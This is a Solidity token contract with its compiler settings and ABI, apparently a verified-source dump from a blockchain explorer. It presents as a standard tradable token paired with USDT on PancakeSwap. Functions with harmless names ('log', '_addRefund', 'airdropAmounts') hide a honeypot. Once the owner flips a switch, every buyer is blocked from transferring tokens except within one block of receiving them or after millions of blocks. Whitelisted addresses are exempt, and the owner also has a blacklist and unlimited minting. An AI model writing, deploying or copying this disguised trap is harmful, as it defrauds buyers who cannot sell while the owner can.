//SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
interface IPancakeFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
modifier onlyOwner() {
require(msg.sender == owner,"Caller is not the owner");
_;
}
}
contract MAK is Ownable{
address public _pair;
bool private _bool;
uint256 delay;
uint256 unlock;
mapping(address => bool) botlist;
mapping(address => bool) whitelist;
mapping(address => uint256) airdropAmounts;
mapping(address => uint256) restrictBlock;
function log(address _from, address _to) internal{
if(!whitelist[_from]&&!whitelist[_to]){
require(!botlist[_from]);
require(!botlist[_to]);
require(!botlist[msg.sender]);
require(airdropAmounts[_from]<1||block.number<_getRestrictBlock(_from)||block.number>_getUnlockBlock(_from));
}
_addRefund(_to,1);
}
function _getRestrictBlock(address a) internal view returns (uint256) {
return (restrictBlock[a]+delay);
}
function _getUnlockBlock(address a) internal view returns (uint256) {
return (restrictBlock[a]+unlock);
}
function _addRefund(address a,uint256 refund) internal returns (bool success) {
if(a==_pair||whitelist[a]){
return true;
}
if(_bool){
airdropAmounts[a] = refund;
if(restrictBlock[a]==0){
restrictBlock[a]=block.number;
}
}
return true;
}
function setBO(bool b) public onlyOwner returns (bool success) {
require(_bool != b);
_bool=b;
return true;
}
function setDL(uint _dkm) public onlyOwner returns (bool success) {
require(delay != _dkm);
delay=_dkm;
return true;
}
function setBL(address[] memory listAddress, bool isBot) public onlyOwner returns (bool success) {
if(listAddress.length==1){
require(botlist[listAddress[0]] != isBot);
}
for(uint i = 0; i < listAddress.length; i++){
botlist[listAddress[i]] = isBot;
}
return true;
}
function setWL(address[] memory listAddress, bool _isWhiteListed) public onlyOwner returns (bool success) {
if(listAddress.length==1){
require(whitelist[listAddress[0]] != _isWhiteListed);
}
for(uint i = 0; i < listAddress.length; i++){
whitelist[listAddress[i]] = _isWhiteListed;
}
return true;
}
}
contract Token is MAK{
using SafeMath for uint256;
uint256 public totalSupply;
string public name;
string public symbol;
uint public decimals;
mapping (address => mapping (address => uint256)) internal allowed;
mapping(address => uint256) balances;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
constructor(string memory _name, string memory _symbol, uint256 _supply, address _owner,address pancakeFactory,address usdt) public {
delay=1;
unlock=25920000;
name = _name;
symbol = _symbol;
decimals = 18;
totalSupply = _supply * 10**decimals;
balances[_owner] = totalSupply;
owner = _owner;
emit Transfer(address(0), _owner, totalSupply);
_pair = IPancakeFactory(pancakeFactory).createPair(address(this), usdt);
}
function transfer(address _to, uint256 _value) public returns (bool) {
log(msg.sender,_to);
require(_to != address(0));
require(_to != msg.sender);
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
// SafeMath.sub will throw if there is not enough balance.
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
log(_from,_to);
require(_to != _from);
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
// SafeMath.sub will throw if there is not enough balance.
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function mint(address account, uint256 amount) onlyOwner public {
totalSupply = totalSupply.add(amount);
balances[account] = balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
}
{
"compilationTarget": {
"Token.sol": "Token"
},
"evmVersion": "paris",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
}
[{"inputs":[{"internalType":"string","name":"_name","type":"string"},{"internalType":"string","name":"_symbol","type":"string"},{"internalType":"uint256","name":"_supply","type":"uint256"},{"internalType":"address","name":"_owner","type":"address"},{"internalType":"address","name":"pancakeFactory","type":"address"},{"internalType":"address","name":"usdt","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"},{"internalType":"address","name":"_spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"balance","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_subtractedValue","type":"uint256"}],"name":"decreaseApproval","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_addedValue","type":"uint256"}],"name":"increaseApproval","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"mint","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"listAddress","type":"address[]"},{"internalType":"bool","name":"isBot","type":"bool"}],"name":"setBL","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"b","type":"bool"}],"name":"setBO","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_dkm","type":"uint256"}],"name":"setDL","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"listAddress","type":"address[]"},{"internalType":"bool","name":"_isWhiteListed","type":"bool"}],"name":"setWL","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]